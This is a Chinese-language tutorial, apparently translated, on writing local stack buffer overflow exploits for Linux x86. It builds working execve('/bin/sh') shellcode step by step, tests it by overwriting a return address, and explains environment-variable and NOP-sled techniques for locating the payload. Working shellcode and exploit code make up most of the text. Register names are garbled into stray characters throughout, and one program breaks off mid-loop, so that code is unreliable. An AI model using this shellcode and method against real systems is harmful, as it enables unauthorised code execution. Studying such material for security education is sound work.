缓冲区溢出的解密方法

如何执行 /bin/sh?
    在C中,spawn出一个shell的代码可能象这样:
    shell.c :
    #include
    void main()
    {
    char *shell[2];
    shell[0] = "/bin/sh";
    shell[1] = NULL;
    execve(shell[0], shell, NULL);
     }
    [murat@victim murat]$ make shell
    cc -W -Wall -pedantic -g shell.c -o shell
    [murat@victim murat]$ ./shell
    bash$
    如果你看execve的man说明页($man 2 execve),你将看到execve要求一个将要执行的文件名的指针,一个NULL终止的参数数组,和一个可以为NULL的环境指针。如果你编译运行了这个输出的二进制文件,你将看到你spawn出了一个新的shell。
    目前为止一切顺利……但是我们不能用这种方式spawn出一个shell,是吗?我们如何能用这种方式把这个代码放到漏洞程序里去呢?我们不能!
    这给我们造成了一个新问题:我们如何能把我们的攻击代码传给漏洞程序?我们将需要在易受攻击的缓冲区传递我们的代码,它很有可能是一段shell代码。为了实现这个目标,我们必须能够把我们的shell代码用一个字符串表示。
    因此,我们将列出所有的来spawn出一个shell的汇编指令,得到它们的运算码,把它们一个一个列出来,然后把它们作为一个shell生成串组装起来。
    首先,让我们看看上面的代码(shell.c)在汇编中是什么样子。让我们静态编译程序(这个方法,execve系统调用也将被反汇编)然后看:
    [murat@victim murat]$ gcc -static -g -o shell shell.c
    [murat@victim murat]$ objdump -d shell | grep \: -A 12
    0804ca10 :
    804ca10: 53 pushl 離
    804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝
    804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫
    804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離
    804ca1d: b8 0b 00 00 00 movl $0xb,陎
    804ca22: cd 80 int $0x80
    804ca24: 5b popl 離
    804ca25: 3d 01 f0 ff ff cmpl $0xfffff001,陎
    804ca2a: 0f 83 00 02 00 jae 804cc30
    804ca2f: 00
    804ca30: c3 ret
    804ca31: 90 nop
    [murat@victim murat]$
    让我们一步一步地分析这个系统调用:
    记住,在我们的main()函数里,我们写了代码:
    execve(shell[0], shell, NULL)
    我们传递了:
    ·字符串”/bin/sh”的地址
    ·NULL结尾数组的地址
    ·NULL(实际上它是环境地址)
    此处,在main里面:
    [murat@victim murat]$ objdump -d shell | grep \: -A 17
    08048124 :
    8048124: 55 pushl 雙
    8048125: 89 e5 movl %esp,雙
    8048127: 83 ec 08 subl $0x8,%esp
    804812a: c7 45 f8 ac 92 movl $0x80592ac,0xfffffff8(雙)
    804812f: 05 08
    8048131: c7 45 fc 00 00 movl $0x0,0xfffffffc(雙)
    8048136: 00 00
    8048138: 6a 00 pushl $0x0
    804813a: 8d 45 f8 leal 0xfffffff8(雙),陎
    804813d: 50 pushl 陎
    804813e: 8b 45 f8 movl 0xfffffff8(雙),陎
    8048141: 50 pushl 陎
    8048142: e8 c9 48 00 00 call 804ca10
    8048147: 83 c4 0c addl $0xc,%esp
    804814a: c9 leave
    804814b: c3 ret
    804814c: 90 nop
    在调用execve(call 804ca10 )之前,我们反序把这些参数推入到堆栈中。
    因此,如果我们回到__execve:
    我们拷贝NULL字节到EDX寄存器,
    804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝
    我们拷贝以NULL结尾数组的地址到ECX寄存器,
    804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫
    我们拷贝字符串"/bin/sh"的地址到EBX寄存器
    804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離
    我们为execve拷贝系统索引,即11(oxb)到EAX寄存器:
    804ca1d: b8 0b 00 00 00 movl $0xb,陎
    接着变成核模式:
    804ca22: cd 80 int $0x80
    我们需要的全部就是这么多了。然而,这里还有一些问题。我们不能准确地知道NULL结束数组和”/bin/sh”字符串的地址。那么,这个怎么样?:
    xorl 陎, 陎
    pushl 陎
    pushl $0x68732f2f
    pushl $0x6e69622f
    movl %esp,離
    pushl 陎
    pushl 離
    movl %esp,靫
    cdql
    movb $0x0b,%al
    int $0x80
    让我解释一下上面的指令:
    如果你进行自身异或,你得到0,等同于NULL。这里,我们在EAX寄存器中得到一个NULL。
    xorl 陎, 陎
    接着我们把NULL推入堆栈:
    pushl 陎
    我们把字符串”//sh”推入堆栈,
    2f is /
    2f is /
    73 is s
    68 is h
    pushl $0x68732f2f
    我们把字符串”/bin”推入堆栈:
    2f is /
    62 is b
    69 is i
    6e is n
    pushl $0x6e69622f
    可以猜想,现在堆栈指针地址就象我们的NULL结尾字符串”/bin/sh”的地址。因为,从指向栈顶的指针开始,我们有了一个NULL结尾的字符串数组。因此,我们拷贝堆栈指针到EBX寄存器。这样,我们就已经把”/bin/sh”的地址放到EBX寄存器中了。
    movl %esp,離
    接着我们需要用NULL结尾的数组地址设置ECX。为此,我们在我们的堆栈中创造了一个NULL结尾的数组,与上面那个很像:首先我们PUSH一个NULL。我们不能PUSH NULL,但是我们能PUSH值为NULL的东西,回顾我们异或EAX寄存器在那我们得到了NULL,因此让我们PUSH EAX来在堆栈中得到一个NULL。
    pushl 陎
    接着,我们PUSH我们的字符串的地址到堆栈,这等同于shell[0]:
    pushl 離
    现在我们有一个NULL结尾数组的指针,我们能够在ECX中保存它的地址:
    movl %esp,靫
    我们还需要其它什么呢?一个在EDX寄存器中的NULL。我们能movl 陎, 韝,但是我们能用一个短的指令完成这个操作:cdq。这个指令是把EAX中的符号位扩展到EDX。:
    cdql
    我们设定EAX 为0xb,这是系统调用表中的系统调用id。
    movb $0x0b,%al
    接着,我们转换到核模式:
    int 0x80
    之后,我们进到核模式,内核将调用exec函数执行我们指示给它的:/bin/sh 这样我们将进入一个交互shell……
     因此,在讲了这么多以后,我们所要做的全部就是把这些汇编指令转换到一个字符串中。因此,让我们得到这些十六进制运赛码然后汇编我们的攻击代码:
    sc.c :
    char newsc[]= /* 24 bytes */
    "\x31\xc0" /* xorl 陎,陎 */
    "\x50" /* pushl 陎 */
    "\x68""//sh" /* pushl $0x68732f2f */
    "\x68""/bin" /* pushl $0x6e69622f */
    "\x89\xe3" /* movl %esp,離 */
    "\x50" /* pushl 陎 */
    "\x53" /* pushl 離 */
    "\x89\xe1" /* movl %esp,靫 */
    "\x99" /* cdql */
    "\xb0\x0b" /* movb $0x0b,%al */
    "\xcd\x80" /* int $0x80 */
    ;
    main()
    {
    }
    [murat@victim newsc]$ gcc -g -o sc sc.c
    [murat@victim newsc]$ objdump -D sc | grep \ -A13
    080494b0 :
    80494b0: 31 c0 xorl 陎,陎
    80494b2: 50 pushl 陎
    80494b3: 68 2f 2f 73 68 pushl $0x68732f2f
    80494b8: 68 2f 62 69 6e pushl $0x6e69622f
    80494bd: 89 e3 movl %esp,離
    80494bf: 50 pushl 陎
    80494c0: 53 pushl 離
    80494c1: 89 e1 movl %esp,靫
    80494c3: 99 cltd
    80494c4: b0 0b movb $0xb,%al
    80494c6: cd 80 int $0x80
    80494c8: 00 00 addb %al,(陎)
    ...
    [murat@victim newsc]$
    在上面的图中,第一行是指令内存地址,接下面的行是汇编指令的运算码,这也是我们兴趣所在,而最后一行是与运算码相关的汇编指令。
    那么,这里就是完整的shell代码:
    "\x31\xc0" /* xorl 陎,陎 */
    "\x50" /* pushl 陎 */
    "\x68""//sh" /* pushl $0x68732f2f */
    "\x68""/bin" /* pushl $0x6e69622f */
    "\x89\xe3" /* movl %esp,離 */
    "\x50" /* pushl 陎 */
    "\x53" /* pushl 離 */
    "\x89\xe1" /* movl %esp,靫 */
    "\x99" /* cdql */
    "\xb0\x0b" /* movb $0x0b,%al */
    "\xcd\x80" /* int $0x80 */
    最后测试我们的shell代码:
    shellcode.c :
    char sc[]= /* 24 bytes */
    "\x31\xc0" /* xorl 陎,陎 */
    "\x50" /* pushl 陎 */
    "\x68""//sh" /* pushl $0x68732f2f */
    "\x68""/bin" /* pushl $0x6e69622f */
    "\x89\xe3" /* movl %esp,離 */
    "\x50" /* pushl 陎 */
    "\x53" /* pushl 離 */
    "\x89\xe1" /* movl %esp,靫 */
    "\x99" /* cdql */
    "\xb0\x0b" /* movb $0x0b,%al */
    "\xcd\x80" /* int $0x80 */
    ;
    main()
    {
    int *ret;
    ret = (int *)&ret 2;
    *ret = sc;
    }
    [murat@victim newsc]$ gcc -g -o shellcode shellcode.c
    [murat@victim newsc]$ ./shellcode
    bash$
    嗯,它生效了。上面我们所做的是,增加ret的地址2个双字(8字节),因而就到了main()的返回地址存储的内存位置。接着,因为ret相应的地址现在是RET,我们把字符串sc(就是我们的攻击代码)的地址存到ret。实际上,我们在这里改变了返回地址的值,而这个返回地址就指向了sc[]。当main()发送RET时,sc的地址写到EIP中了,接着,CPU开始在这执行指令,造成了/bin/sh的执行。
    写本地缓冲区溢出漏洞利用程序
    现在,让我们看看下面的程序:
    victim.c :
    char sc[]=
    "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
    char large_str[50];
    void main()
    {
    int i;
    char foo[12];
    int *ap = (int *)large_str;
    for (i = 0; i
    瞧!就是它了!我们做了什么?在for循环里面,我们拷贝了我们的shellcode字符串的地址。由于地址是32位(4字节),我们以4为步长增加i。接着,在main()里,当我们把有我们shellcode地址的large_str拷到实际只能容纳12字节的foo,strcpy没有边界检查,而且一直拷贝到main的返回地址。接着,当strcpy指令发送到RET,我们shellcode的地址已经被POP进去了,而且放入了EIP。接着它就被执行了。这里有一件事是:strcpy没有溢出它的缓冲区,它溢出了main()的缓冲区,因此覆盖了main()的返回地址。我们的shell在main()返回的时候开始,而不是strcpy返回的时候。
    上面的victim.c是我们的程序。我们知道我们的shellcode跳转的地址。如果我们要求利用另外程序的缓冲区又该如何去做呢?我们不能预先知道内存的布局,不是吗?这也意味着我们不知道我们的shellcode的地址。我们现在该怎么做呢?首先,我们必须用某些途径把shellcode植入到有弱点的程序,而且无论怎样我们必须得到shellcode的地址。当我们谈论本地漏洞利用时,有两种方法。
    1.如Aleph1的著名文章”Smashing the Stack for Fun and Profit”所介绍的,我们把我们的shellcode放置到有缺陷程序的缓冲区,而且尝试着猜测到我们漏洞利用程序的ESP偏移量。2.这第二个方式更加简单和聪明。通过这种方法,我们能知道我们shellcode的地址!这真是太好了!怎么做?看这个:如果你在一个linux ELF二进制文件第一次装入内存的时候通过gdb看它的高位地址,你将看到象这样的一些东西:
    --------------------- 0xBFFFFFFF
    |\000 \000 \000 \000| 0xBFFFFFFB (4 NULL byte)
    |\000 ...... | 0xBFFFFFFA (program_name)
    | ..................|
    |...................| n. environment variable (env[n])
    |...................| n-1. environment variable (env[n-1])
    |...................| ...
    |...................| 1. environment variable (env[0])
    |...................| ...
    |...................| n. argument string (argv[n])
    |...................| n-1. argument string (argv[n-1])
    |...................| ...
    | . |
    | . |
    | . |
    看上面的图,我们都会同意我们能计算最后一个环境变量地址。它是:
    envp = 0xBFFFFFFF -
    4 - (4 NULL bytes)
    strlen(program_name) - (program_names's length - without the leading NULL).
    1 - (NULL which strlen did not count above)
    strlen(envp[n])) (the length of last environment string)
    除去一些不必要的计算,这里是最终的结果:
    envp = 0xBFFFFFFA - strlen(prog_name) - strlen(envp[n])
    你还记得我们给execve提供一个环境指针吗?这有没有让你想起什么?对了,我们可以通过这个环境指针把我们的shellcode传给漏洞程序,并且计算它的地址。这意味着我们完全知道我们需要写什么地址到漏洞缓冲区。
    计算我们的shellcode 地址的公式:
    ret = 0xBFFFFFFA - strlen(prog_name) - strlen(sc);
    至于Aleph1在他的文章中讨论的在外面被广泛使用的方法,多少有点比我们的环境变量技术难得多。关于细节你们可以看Aleph1的文章,Smashing the Stack for Fun and Profit。
    一般来说,在这个方法中,我们把”NOP”指令(NOP)放在缓冲区的开始。NOP之后,我们放置我们的shellcode,接着是这个shellcode的地址。
    如我前面所说的,既然我们不知道我们shellcode的准确地址,我们在缓冲区开头填一些NOP指令增加我们跳到我们的shellcode附近一些位置的可能性。